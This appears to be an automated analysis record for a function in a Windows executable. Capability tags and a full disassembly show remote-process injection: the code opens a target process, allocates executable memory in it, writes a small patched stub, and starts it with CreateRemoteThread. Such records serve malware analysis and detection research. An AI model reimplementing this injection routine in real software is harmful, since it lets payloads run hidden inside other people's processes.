Function at 0x4c9bdb
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
call fcn.00404ec8
xor eax, eax
push ebp
push 0x4c9ce4
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x14], 0
je 0x4c9cc1
mov al, 1
call fcn.004c9928
push ebp
call fcn.004c99c8
pop ecx
push 0
push 0
call dword [ebp - 8]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x4c9bdb
xor eax, eax
push ebp
push 0x4c9bd4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x2c]
push eax
push 1
mov eax, dword [ebp - 0x14]
push eax
call dword [ebp - 0xc]
test eax, eax
jl 0x4c9bb8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax]
dec ebx
test ebx, ebx
jl 0x4c9bb8
inc ebx
xor esi, esi
lea eax, [ebp - 0x38]
imul edi, esi, 0x47
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx + 0x30]
lea edx, [edx + edi*4 + 0x20]
mov ecx, pe_nt_image_headers32
call fcn.00404c88
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x34]
call fcn.00408d84
mov eax, dword [ebp - 0x34]
push eax
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
call fcn.00408d84
mov edx, dword [ebp - 0x3c]
pop eax
call fcn.00404e24
jne 0x4c9bb4
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + edi*4 + 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x30]
movzx eax, word [eax + edi*4 + 0x1c]
mov dword [ebp - 0x30], eax
jmp 0x4c9bb8
inc esi
dec ebx
jne 0x4c9b58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c9bdb
mov eax, dword [ebp - 0x2c]
push eax
call dword [ebp - 0x10]
push ebp
call fcn.004c9ab4
pop ecx
ret
mov eax, dword [ebp - 0x14]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 0x20], eax
xor edx, edx
push ebp
push 0x4c9cba
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x4c9cf8
push 0x4c9d04
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x28], eax
mov eax, 0x4d0ca9
mov edx, dword [ebp - 0x28]
mov dword [eax], edx
mov eax, 0x4d0cae
mov edx, dword [ebp - 0x24]
mov dword [eax], edx
push 0x4c9d10
push 0x4c9d04
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x28], eax
mov eax, 0x4d0cb5
mov edx, dword [ebp - 0x28]
mov dword [eax], edx
push 0x40
push 0x1000
push 0x15
push 0
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x15
push 0x4d0ca8
push esi
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x4c9ca3
mov ebx, dword [ebp - 0x30]
dec ebx
test ebx, ebx
jl 0x4c9ca3
inc ebx
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push esi
push 0
push 0
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CreateRemoteThread
mov dword [ebp - 0x1c], eax
dec ebx
jne 0x4c9c82
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c9cc1
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c9ceb
lea eax, [ebp - 0x3c]
mov edx, 3
call fcn.00404a3c
lea eax, [ebp - 0x18]
call fcn.00404a18
ret